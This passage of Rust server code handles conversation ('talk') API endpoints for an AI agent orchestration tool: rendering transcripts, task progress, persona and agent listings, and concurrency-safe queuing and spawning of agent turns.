9043            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9044            .collect();
9045        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9046            .turns
9047            .iter()
9048            .map(|turn| {
9049                if turn.messages.is_empty() {
9050                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9051                } else {
9052                    turn.messages
9053                        .iter()
9054                        .map(|message| {
9055                            notice_markdown(
9056                                message.sender.unwrap_or(talk::Sender::Operator),
9057                                &message.body,
9058                                message.display.as_ref(),
9059                            )
9060                        })
9061                        .collect()
9062                }
9063            })
9064            .collect();
9065        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9066            .pending_messages
9067            .iter()
9068            .map(|message| {
9069                notice_markdown(
9070                    message.sender.unwrap_or(talk::Sender::Operator),
9071                    &message.body,
9072                    message.display.as_ref(),
9073                )
9074            })
9075            .collect();
9076        for nodes in &mut turn_bodies_md {
9077            references.markdown(nodes);
9078        }
9079        for nodes in turn_messages_md
9080            .iter_mut()
9081            .flatten()
9082            .chain(pending_messages_md.iter_mut())
9083            .flatten()
9084        {
9085            references.markdown(nodes);
9086        }
9087        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9088        let persona_name = persona::find(specs, &talk.persona)
9089            .filter(|p| !p.is_default())
9090            .map(|p| p.name);
9091        let mut avatar_persona = persona::find(specs, &talk.persona)
9092            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9093        // A removed configured persona may still have an override and old talks.
9094        if avatar_persona.id != talk.persona
9095            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9096        {
9097            avatar_persona.id.clone_from(&talk.persona);
9098            avatar_persona.icon = None;
9099        }
9100        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9101        let approvals_store = ask::Questions::at(home.join("questions"));
9102        let merge_approvals = talk
9103            .notified
9104            .iter()
9105            .filter_map(|key| key.strip_prefix("question:"))
9106            .filter_map(|id| approvals_store.get(id).ok())
9107            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9108            .filter_map(|q| {
9109                Some(ChatApproval {
9110                    question: q.id,
9111                    target: q.merge_target?,
9112                })
9113            })
9114            .collect();
9115        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9116        Self {
9117            turn_bodies_md,
9118            turn_messages_md,
9119            pending_messages_md,
9120            merge_approvals,
9121            thinking,
9122            context,
9123            operator_name,
9124            persona_name,
9125            persona_avatar,
9126            magi_avatar: magi_icon_url(home),
9127            operator_avatar: operator_icon_url(home),
9128            talk,
9129        }
9130    }
9131}
9132
9133/// Parse only the user-facing representation of an explicitly identified MAGI send.
9134fn notice_markdown(
9135    sender: talk::Sender,
9136    body: &str,
9137    display: Option<&crate::prompt::NoticeDisplay>,
9138) -> Option<Vec<md::Node>> {
9139    if sender != talk::Sender::Magi {
9140        return None;
9141    }
9142    let text = if let Some(display) = display {
9143        display.facts.as_str()
9144    } else {
9145        // Unknown completion templates may contain internal directives. Never
9146        // promote their agent input to the Markdown display surface.
9147        if crate::prompt::is_completion_notice(body)
9148            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9149        {
9150            return None;
9151        }
9152        body.strip_prefix("magi: ").unwrap_or(body)
9153    };
9154    Some(md::to_nodes(text, &md::ImageBase::None))
9155}
9156
9157/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9158/// conversation has filed, so the phone can follow one from inside the
9159/// conversation that asked for it rather than hunting the Queue for a task id
9160/// it may not remember.
9161#[derive(Debug, Serialize)]
9162struct TalkDetailView {
9163    #[serde(flatten)]
9164    view: TalkView,
9165    tasks: Vec<TaskView>,
9166    task_progress: TalkTaskProgress,
9167    goal_link: Option<TalkGoalLink>,
9168    goal_link_for: Timestamp,
9169    /// The agents this talk's repository can switch to; empty when its
9170    /// configuration cannot be read, which must not fail the whole detail.
9171    roster: Vec<RosterEntry>,
9172    /// The personas the conversation can pick from. The built-ins are always
9173    /// listed, even when the repository's configuration cannot be read.
9174    personas: Vec<PersonaEntry>,
9175}
9176
9177/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9178#[derive(Debug, Serialize)]
9179struct TalkTaskProgress {
9180    state: &'static str,
9181    total: usize,
9182    done: usize,
9183    counts: std::collections::BTreeMap<&'static str, usize>,
9184    unfinished_ids: Vec<String>,
9185}
9186
9187fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9188    let mut counts = std::collections::BTreeMap::from([
9189        ("queued", 0),
9190        ("running", 0),
9191        ("done", 0),
9192        ("failed", 0),
9193        ("held", 0),
9194        ("blocked", 0),
9195        ("parked", 0),
9196    ]);
9197    let mut unfinished_ids = Vec::new();
9198    for task in tasks {
9199        *counts.entry(task.status.as_str()).or_default() += 1;
9200        if task.status != TaskStatus::Done {
9201            unfinished_ids.push(task.id.clone());
9202        }
9203    }
9204    TalkTaskProgress {
9205        state: if tasks.is_empty() {
9206            "none"
9207        } else if unfinished_ids.is_empty() {
9208            "complete"
9209        } else {
9210            "incomplete"
9211        },
9212        total: tasks.len(),
9213        done: tasks.len() - unfinished_ids.len(),
9214        counts,
9215        unfinished_ids,
9216    }
9217}
9218
9219/// Prefer a referenced task's current Run or Task, then an explicitly
9220/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9221#[derive(Debug, Serialize)]
9222struct TalkGoalLink {
9223    goal: String,
9224    kind: &'static str,
9225    id: String,
9226}
9227
9228fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9229    let goal = crate::chat_goal::Goal::selected(talk)?;
9230    let repo = goal.effective_repo(&talk.repo);
9231    let valid_run = |id: &str| {
9232        plain_record_id(id)
9233            && read_run(runs, id).is_ok_and(|state| {
9234                state.id == id
9235                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9236            })
9237    };
9238    for id in goal.tasks.iter().rev() {
9239        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9240            continue;
9241        };
9242        // Repository reassignments retain historical runs. Only this task's
9243        // current execution can be presented as the goal's current Run.
9244        if let Some(run) = task.execution_runs().last()
9245            && valid_run(run)
9246        {
9247            return Some(TalkGoalLink {
9248                goal: goal.id.clone(),
9249                kind: "run",
9250                id: run.clone(),
9251            });
9252        }
9253        return Some(TalkGoalLink {
9254            goal: goal.id.clone(),
9255            kind: "task",
9256            id: task.id,
9257        });
9258    }
9259    for id in goal.runs.iter().rev() {
9260        if valid_run(id) {
9261            return Some(TalkGoalLink {
9262                goal: goal.id.clone(),
9263                kind: "run",
9264                id: id.clone(),
9265            });
9266        }
9267    }
9268    None
9269}
9270
9271/// One persona as the talk's persona selector shows it.
9272#[derive(Debug, Serialize)]
9273struct PersonaEntry {
9274    id: String,
9275    name: String,
9276    /// Avatar URL, see [`TalkView::persona_avatar`].
9277    avatar: String,
9278}
9279
9280/// One roster agent as the talk's agent selector shows it.
9281#[derive(Debug, Serialize)]
9282struct RosterEntry {
9283    id: String,
9284    kind: AgentKind,
9285    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9286    runnable: bool,
9287}
9288
9289/// Bounded summaries; `/page` carries a cursor for older membership.
9290async fn talks_list(
9291    State(ui): State<Arc<Ui>>,
9292    Query(q): Query<ListQuery>,
9293    headers: header::HeaderMap,
9294) -> ApiResult<Json<Vec<TalkListView>>> {
9295    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9296        let limit = q.limit.unwrap_or(50).min(50);
9297        let ids = if let Some(ids) = q.ids {
9298            ids.split(',')
9299                .filter(|id| plain_record_id(id))
9300                .take(limit)
9301                .map(str::to_owned)
9302                .collect()
9303        } else {
9304            page_ids(&ui, true, PageQuery::default())?
9305                .0
9306                .into_iter()
9307                .take(limit.min(STORE_PAGE_SIZE))
9308                .collect()
9309        };
9310        Ok(Json(talk_rows(&ui, ids, &headers)))
9311    })
9312    .await
9313}
9314
9315/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9316/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9317/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9318/// end still opens a talk against an older binary.
9319#[derive(Debug, Default, Deserialize)]
9320#[serde(default)]
9321struct NewTalk {
9322    agent: Option<String>,
9323    repo: Option<PathBuf>,
9324    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9325    /// wrong type is dropped like a stale value instead of failing the request;
9326    /// each falls back to its default on its own (see [`talk::begin_with`]).
9327    preferred_agent: Option<serde_json::Value>,
9328    persona: Option<serde_json::Value>,
9329    implementers: Option<serde_json::Value>,
9330}
9331
9332/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9333/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9334async fn talk_post(
9335    State(ui): State<Arc<Ui>>,
9336    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9337) -> ApiResult<impl IntoResponse> {
9338    // An absent body, or an empty one, is the normal way to open a talk - see
9339    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9340    // rather than refused.
9341    let body = match body {
9342        Ok(Json(body)) => body,
9343        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9344        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9345    };
9346    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9347    let cfg = config_for(&repo).await?;
9348    let view = blocking(move || {
9349        let preferred = talk::Preferred {
9350            agent: body
9351                .preferred_agent
9352                .as_ref()
9353                .and_then(|v| v.as_str())
9354                .map(str::to_owned),
9355            persona: body
9356                .persona
9357                .as_ref()
9358                .and_then(|v| v.as_str())
9359                .map(str::to_owned),
9360            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9361        };
9362        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9363        let thinking = ui.is_thinking(&talk.id);
9364        Ok(TalkView::new(talk, thinking, &ui))
9365    })
9366    .await?;
9367    Ok((StatusCode::CREATED, Json(view)))
9368}
9369
9370/// Transcript first: unrelated queue history and repository probes are deferred.
9371async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9372    // Keep transcript reads independent of sections and the runtime blocking pool.
9373    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9374        let id = resolve_talk(&ui.talks, &id)?;
9375        let talk = ui.talks.get(&id)?;
9376        let thinking = ui.is_thinking_observed(&id);
9377        // The browser already resolves Markdown text/code references after
9378        // rendering. A cold reference/review index must not gate the transcript.
9379        Ok(Json(TalkView::with_references(
9380            talk,
9381            thinking,
9382            None,
9383            &ui.home,
9384            &id_links::IdIndex::default(),
9385        )))
9386    })
9387    .await
9388}
9389
9390async fn talk_sections(
9391    State(ui): State<Arc<Ui>>,
9392    Path(id): Path<String>,
9393) -> ApiResult<Json<serde_json::Value>> {
9394    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9395        let id = resolve_talk(&ui.talks, &id)?;
9396        let talk = ui.talks.get(&id)?;
9397        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9398        let task_progress = talk_task_progress(&tasks);
9399        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9400        let tasks: Vec<_> = tasks
9401            .into_iter()
9402            .map(|task| {
9403                serde_json::json!({
9404                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9405                })
9406            })
9407            .collect();
9408        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9409        let roster: Vec<_> = cfg
9410            .as_ref()
9411            .map(|cfg| {
9412                cfg.agents
9413                    .iter()
9414                    .map(|a| RosterEntry {
9415                        id: a.id.clone(),
9416                        kind: a.kind,
9417                        runnable: agent::installed(a),
9418                    })
9419                    .collect()
9420            })
9421            .unwrap_or_default();
9422        let specs = cfg
9423            .as_ref()
9424            .map(|cfg| cfg.talk.personas.clone())
9425            .unwrap_or_default();
9426        let personas: Vec<_> = persona::catalog(&specs)
9427            .into_iter()
9428            .map(|p| PersonaEntry {
9429                avatar: avatar_url(&ui.home, &talk.id, &p),
9430                id: p.id,
9431                name: p.name,
9432            })
9433            .collect();
9434        let active_persona = persona::find(&specs, &talk.persona)
9435            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9436        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9437        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9438        Ok(Json(serde_json::json!({
9439            "tasks": tasks, "task_progress": task_progress,
9440            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9441            "roster": roster, "personas": personas,
9442            "context": talk::context_usage(&talk, cfg.as_ref()),
9443            "context_for": talk.updated_at,
9444            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9445            "persona_name": persona_name,
9446            "persona_avatar": persona_avatar,
9447        })))
9448    })
9449    .await
9450}
9451
9452/// `GET /api/talks/{id}`.
9453async fn talk_detail(
9454    State(ui): State<Arc<Ui>>,
9455    Path(id): Path<String>,
9456) -> ApiResult<Json<TalkDetailView>> {
9457    blocking(move || {
9458        let id = resolve_talk(&ui.talks, &id)?;
9459        let talk = ui.talks.get(&id)?;
9460        let thinking = ui.is_thinking_observed(&talk.id);
9461        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9462        let task_progress = talk_task_progress(&tasks);
9463        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9464        let goal_link_for = talk.updated_at;
9465        let tasks = tasks.into_iter().map(TaskView::from).collect();
9466        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9467        let roster = cfg
9468            .as_ref()
9469            .map(|cfg| {
9470                cfg.agents
9471                    .iter()
9472                    .map(|a| RosterEntry {
9473                        id: a.id.clone(),
9474                        kind: a.kind,
9475                        runnable: agent::installed(a),
9476                    })
9477                    .collect()
9478            })
9479            .unwrap_or_default();
9480        let specs = cfg
9481            .as_ref()
9482            .map(|cfg| cfg.talk.personas.clone())
9483            .unwrap_or_default();
9484        let personas = persona::catalog(&specs)
9485            .into_iter()
9486            .map(|p| PersonaEntry {
9487                avatar: avatar_url(&ui.home, &talk.id, &p),
9488                id: p.id,
9489                name: p.name,
9490            })
9491            .collect();
9492        Ok(Json(TalkDetailView {
9493            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9494            tasks,
9495            task_progress,
9496            goal_link,
9497            goal_link_for,
9498            roster,
9499            personas,
9500        }))
9501    })
9502    .await
9503}
9504
9505/// The body of `POST /api/talks/{id}/say`.
9506///
9507/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9508/// returned - never bytes of its own - so a turn with no images just omits
9509/// the field, which is what an older front end still does.
9510#[derive(Debug, Default, Deserialize)]
9511#[serde(default, deny_unknown_fields)]
9512struct NewTalkTurn {
9513    reply_to: Option<talk::ReplyTarget>,
9514    text: String,
9515    attachments: Vec<String>,
9516}
9517
9518#[derive(Debug, Deserialize)]
9519#[serde(deny_unknown_fields)]
9520struct EditTalkPending {
9521    #[serde(default)]
9522    message: Option<usize>,
9523    text: String,
9524    expected_text: String,
9525    expected_attachments: Vec<String>,
9526}
9527
9528#[derive(Debug, Deserialize)]
9529#[serde(deny_unknown_fields)]
9530struct ClearTalkPending {
9531    expected_text: String,
9532    expected_attachments: Vec<String>,
9533}
9534
9535/// `POST /api/talks/{id}/say` - one turn of the conversation.
9536///
9537/// Not filesystem work, and therefore not routed through [`blocking`]: this
9538/// route spawns an agent CLI and a turn here can run for the whole of
9539/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9540/// research turn is expected to run commands rather than answer from what it
9541/// already knows. Holding an HTTP connection open that long is not a thing
9542/// to ask a phone to do; the operator's message is recorded and answered for
9543/// immediately, and the reply lands in the background, discovered through
9544/// the change stream's `talks_rev` the same way every other update on this
9545/// surface is.
9546async fn talk_say(
9547    State(ui): State<Arc<Ui>>,
9548    Path(id): Path<String>,
9549    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9550) -> ApiResult<(StatusCode, Json<TalkView>)> {
9551    let admission = ui.begin_admission()?;
9552    admitted(admission, async move {
9553    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9554    if body.text.trim().is_empty() && body.attachments.is_empty() {
9555        return Err(ApiError::bad_request("say something"));
9556    }
9557
9558    let id = {
9559        let ui = Arc::clone(&ui);
9560        let asked = id.clone();
9561        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9562    };
9563    // A closed Talk never accepts a new immediate or queued turn. Check this
9564    // before claiming a slot so its ordinary domain refusal is a 409, not an
9565    // incidental failure from the later record/queue write.
9566    {
9567        let ui = Arc::clone(&ui);
9568        let id = id.clone();
9569        blocking(move || {
9570            let talk = ui.talks.get(&id)?;
9571            if !talk.status.open() {
9572                return Err(ApiError::conflict(format!(
9573                    "talk {} is {} and takes no more turns",
9574                    talk.short(),
9575                    talk.status.as_str()
9576                )));
9577            }
9578            Ok(())
9579        })
9580        .await?;
9581    }
9582
9583    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9584    // actually stores, before anything is written - an unknown id is a 4xx
9585    // that names it rather than a turn (or a queued draft) silently missing
9586    // an image.
9587    let attachments = {
9588        let ui = Arc::clone(&ui);
9589        let id = id.clone();
9590        let ids = body.attachments.clone();
9591        blocking(move || {
9592            ids.into_iter()
9593                .map(|att_id| {
9594                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9595                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9596                    })
9597                })
9598                .collect::<ApiResult<Vec<talk::Attachment>>>()
9599        })
9600        .await?
9601    };
9602    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9603        .await.map_err(ApiError::from)?;
9604
9605    // Pending recovery and a new immediate turn are decided under the same
9606    // claim lock. Without that one critical section, a second `/say` can see
9607    // the first request's claim as "busy" and append itself to the recovered
9608    // draft before the first request rejects it.
9609    let start = {
9610        let ui = Arc::clone(&ui);
9611        let id = id.clone();
9612        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9613    };
9614    let turn_guard = match start {
9615        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9616        TalkTurnStart::Pending => {
9617            return Err(ApiError::conflict(
9618                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9619            ));
9620        }
9621        TalkTurnStart::Foreign => {
9622            return Err(ApiError::conflict(
9623                "a turn is already running in another process; try again when it has finished",
9624            ));
9625        }
9626        TalkTurnStart::Busy => {
9627            // A turn is already running: queue rather than refuse. See
9628            // `Ui::begin_talk_turn` and `talk::queue`.
9629            //
9630            // The queue write and the drain it may owe live inside the task
9631            // `tokio::spawn` hands to the runtime, for the same reason the
9632            // immediate path below puts `record` there: a dropped handler
9633            // future must not be able to land between a durable write and
9634            // the task that answers it. `blocking` runs its closure on
9635            // `spawn_blocking`, which finishes whether or not anyone is left
9636            // to receive its result - so a disconnect at the `.await` below
9637            // would otherwise leave the draft persisted and the reclaimed
9638            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9639            // ever started and the queued text stranded until some later
9640            // `say` happened to pick it up. The caller's 202 travels back
9641            // over a `oneshot`, sent the moment the write lands.
9642            let (tx, rx) = tokio::sync::oneshot::channel();
9643            tokio::spawn({
9644                let ui = Arc::clone(&ui);
9645                let id = id.clone();
9646                let said = body.text.clone();
9647                let reply_to = body.reply_to.clone();
9648                async move {
9649                    let written = blocking({
9650                        let ui = Arc::clone(&ui);
9651                        let id = id.clone();
9652                        move || {
9653                            let mut talk = ui.talks.get(&id)?;
9654                            // A test-only stop point, right before the write
9655                            // an interleaving test needs to pin - see
9656                            // `BusyQueueGate`. `None` in every real server:
9657                            // the field only exists under `#[cfg(test)]`.
9658                            #[cfg(test)]
9659                            if let Some(gate) = ui
9660                                .busy_queue_gate
9661                                .lock()
9662                                .unwrap_or_else(PoisonError::into_inner)
9663                                .take()
9664                            {
9665                                let _ = gate.reached.send(());
9666                                let _ = gate.release.recv();
9667                            }
9668                            if let Err(error) = talk::queue_reply(
9669                                &mut talk,
9670                                &ui.talks,
9671                                &said,
9672                                attachments,
9673                                reply_to,
9674                            ) {
9675                                if let Ok(fresh) = ui.talks.get(&id) {
9676                                    if !fresh.status.open() {
9677                                        return Err(ApiError::conflict(format!(
9678                                            "talk {} is {} and takes no more turns",
9679                                            fresh.short(),
9680                                            fresh.status.as_str()
9681                                        )));
9682                                    }
9683                                }
9684                                return Err(
9685                                    if error.to_string().contains("invalid reply target") {
9686                                        ApiError::bad_request("invalid reply target")
9687                                    } else {
9688                                        ApiError::from(error)
9689                                    },
9690                                );
9691                            }
9692                            // The turn that looked busy a moment ago can have
9693                            // finished, found nothing to drain and given up the
9694                            // slot in the gap between that check and this write
9695                            // landing - see `drain_loop`'s own doc for the other
9696                            // half of why that gap would otherwise be able to
9697                            // open at all. Reclaiming the slot here, rather than
9698                            // trusting that whoever held it is still watching, is
9699                            // what stops the text just queued from being stranded
9700                            // until an unrelated future `say` happens to drain
9701                            // it.
9702                            let claim = match ui.begin_queued_talk_turn(&id)? {
9703                                Some(turn_guard) => {
9704                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9705                                    Some((talk.clone(), cfg, turn_guard))
9706                                }
9707                                None => None,
9708                            };
9709                            let thinking = ui.is_thinking(&id);
9710                            Ok((TalkView::new(talk, thinking, &ui), claim))
9711                        }
9712                    })
9713                    .await;
9714                    #[cfg(not(test))]
9715                    {
9716                        match written {
9717                            Ok((view, reclaimed)) => {
9718                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9719                                drop(reclaimed);
9720                                match launched {
9721                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9722                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9723                                }
9724                            }
9725                            Err(error) => { let _ = tx.send(Err(error)); }
9726                        }
9727                    }
9728                    #[cfg(test)]
9729                    {
9730                    let (view, reclaimed) = match written {
9731                        Ok(pair) => pair,
9732                        Err(e) => {
9733                            // Nobody is listening if the handler's own future
9734                            // was already dropped - that is fine, nothing was
9735                            // persisted and there is no response left to carry
9736                            // this error to.
9737                            let _ = tx.send(Err(e));
9738                            return;
9739                        }
9740                    };
9741                    // If this fails, the caller is gone; the drain below still
9742                    // runs exactly as it would have for a caller that stayed.
9743                    let _ = tx.send(Ok(view));
9744                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9745                        let talks = ui.talks.clone();
9746                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9747                    }
9748                    }
9749                }
9750            });
9751            let view = rx
9752                .await
9753                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9754            return Ok((StatusCode::ACCEPTED, Json(view)));
9755        }
9756    };
9757
9758    let (talk, cfg) = {
9759        let ui = Arc::clone(&ui);
9760        let id = id.clone();
9761        blocking(move || {
9762            let talk = ui.talks.get(&id)?;
9763            let (cfg, _) = Config::discover(&talk.repo, None)?;
9764            Ok((talk, cfg))
9765        })
9766        .await?
9767    };
9768
9769    let talks = ui.talks.clone();
9770    // `record` runs *inside* the spawned task, rather than in this handler
9771    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9772    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9773    // doc), and that drop can land at any `.await` this function makes,
9774    // including one that has already produced its result but not yet
9775    // resumed. A message could end up recorded on disk with the handler
9776    // future gone before it ever reached the `tokio::spawn` that would have
9777    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9778    // that hands the whole future to the runtime as one unit - once made, no
9779    // later drop of *this* handler's own future (that call's return value is
9780    // never held onto here) can reach back in and stop it, so record and the
9781    // hand-off to `respond` are unconditionally atomic from the client's
9782    // point of view. The immediate response this handler owes the caller
9783    // travels back over a `oneshot`, sent the moment `record` succeeds.
9784    let (tx, rx) = tokio::sync::oneshot::channel();
9785    tokio::spawn({
9786        #[cfg(test)]
9787        let ui = Arc::clone(&ui);
9788        let talks = talks.clone();
9789        let id = id.clone();
9790        let said = body.text.clone();
9791        let reply_to = body.reply_to.clone();
9792        let mut talk = talk.clone();
9793        async move {
9794            let recorded = blocking({
9795                let talks = talks.clone();
9796                move || {
9797                    if let Err(error) =
9798                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9799                    {
9800                        if let Ok(fresh) = talks.get(&talk.id) {
9801                            if !fresh.status.open() {
9802                                return Err(ApiError::conflict(format!(
9803                                    "talk {} is {} and takes no more turns",
9804                                    fresh.short(),
9805                                    fresh.status.as_str()
9806                                )));
9807                            }
9808                        }
9809                        return Err(if error.to_string().contains("invalid reply target") {
9810                            ApiError::bad_request("invalid reply target")
9811                        } else {
9812                            ApiError::from(error)
9813                        });
9814                    }
9815                    // `record` mutates `talk` in place to the freshly persisted
9816                    // state (status, pending, and the just-appended operator
9817                    // turn), so returning it here is equivalent to re-reading it
9818                    // from disk - without the extra round trip a re-read would
9819                    // need.
9820                    Ok((said.trim().to_owned(), talk))
9821                }
9822            })
9823            .await;
9824            let (text, talk) = match recorded {
9825                Ok(pair) => pair,
9826                Err(e) => {
9827                    // Nobody is listening if the handler's own future was
9828                    // already dropped - that is fine, there is no response
9829                    // left to carry this error to and nothing was persisted.
9830                    let _ = tx.send(Err(e));
9831                    return;
9832                }
9833            };
9834            #[cfg(not(test))]
9835            {
9836                let _ = (&cfg, &text);
9837                // The reservation becomes durable while this process still
9838                // holds the talk lease. The child waits for that lease; the
9839                // new UI sees its startup reservation immediately.
9840                let result = crate::chat_worker::spawn_recorded_turn(
9841                    &talks, &id, talk.turns.len() - 1,
9842                ).await;
9843                drop(turn_guard);
9844                match result {
9845                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9846                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9847                }
9848            }
9849            #[cfg(test)]
9850            {
9851            let queued = talk.clone();
9852            let mut talk = talk;
9853            let thinking = ui.is_thinking(&id);
9854            // If this fails, the caller is gone; the turn still runs below
9855            // exactly as it would have for a caller that stayed connected.
9856            let _ = tx.send(Ok((queued, thinking)));
9857
9858            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9859                // `respond` records the failure in the transcript itself,
9860                // which is what the phone reads; this line is for the
9861                // operator's terminal.
9862                tracing::warn!("talk {id} turn failed: {e:#}");
9863            }
9864            // Anything `talk::queue` added while the turn above was running
9865            // is still owed an answer - see `drain_loop`.
9866            drain_loop(talk, talks, cfg, id, turn_guard).await;
9867            }
9868        }
9869    });
9870
9871    let (queued, thinking) = rx
9872        .await
9873        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9874
9875    // 202: the operator's message is recorded and a turn is running.
9876    Ok((
9877        StatusCode::ACCEPTED,
9878        Json(TalkView::new(queued, thinking, &ui)),
9879    ))
9880    }).await
9881}
9882
9883/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9884/// changing it. The turn guard is the same per-talk ownership `talk_say`
9885/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9886async fn talk_pending_resume(
9887    State(ui): State<Arc<Ui>>,
9888    Path(id): Path<String>,
9889) -> ApiResult<(StatusCode, Json<TalkView>)> {
9890    let admission = ui.begin_admission()?;
9891    admitted(admission, async move {
9892        let id = {
9893            let ui = Arc::clone(&ui);
9894            let asked = id.clone();
9895            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9896        };
9897        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9898            .await
9899            .map_err(ApiError::from)?;
9900        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9901            return Err(ApiError::conflict(
9902                "a talk turn is already running; the queued draft will be handled by it",
9903            ));
9904        };
9905        let (talk, cfg) = {
9906            let ui = Arc::clone(&ui);
9907            let id = id.clone();
9908            blocking(move || {
9909                let talk = ui.talks.get(&id)?;
9910                if !talk.status.open() {
9911                    return Err(ApiError::conflict(format!(
9912                        "talk {} is {} and takes no more turns",
9913                        talk.short(),
9914                        talk.status.as_str()
9915                    )));
9916                }
9917                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9918                    return Err(ApiError::conflict("there is no queued draft to resume"));
9919                }
9920                let (cfg, _) = Config::discover(&talk.repo, None)?;
9921                Ok((talk, cfg))
9922            })
9923            .await?
9924        };
9925        let view = TalkView::new(talk.clone(), true, &ui);
9926        let talks = ui.talks.clone();
9927        #[cfg(not(test))]
9928        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9929        #[cfg(test)]
9930        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9931        Ok((StatusCode::ACCEPTED, Json(view)))
9932    })
9933    .await
9934}
9935
9936/// Hand off an admitted draft while retaining the talk lease until its
9937/// detached startup reservation is durable.
9938#[cfg(not(test))]
9939async fn detach_talk_turn(
9940    _talk: Talk,
9941    talks: Talks,
9942    _cfg: Config,
9943    id: String,
9944    turn: TalkTurnGuard,
9945) -> ApiResult<()> {
9946    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9947    drop(turn);
9948    launched.map(|_| ()).map_err(ApiError::from)
9949}
9950
9951#[cfg(test)]
9952async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9953    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9954}
9955
9956/// A settings response must not report idle while its claim is still held.
9957/// Wait until the first drain either releases the claim or promotes a draft.
9958/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9959async fn settle_settings_turn(
9960    talk: Talk,
9961    talks: Talks,
9962    cfg: Config,
9963    id: String,
9964    turn: TalkTurnGuard,
9965    observed: u64,
9966) -> bool {
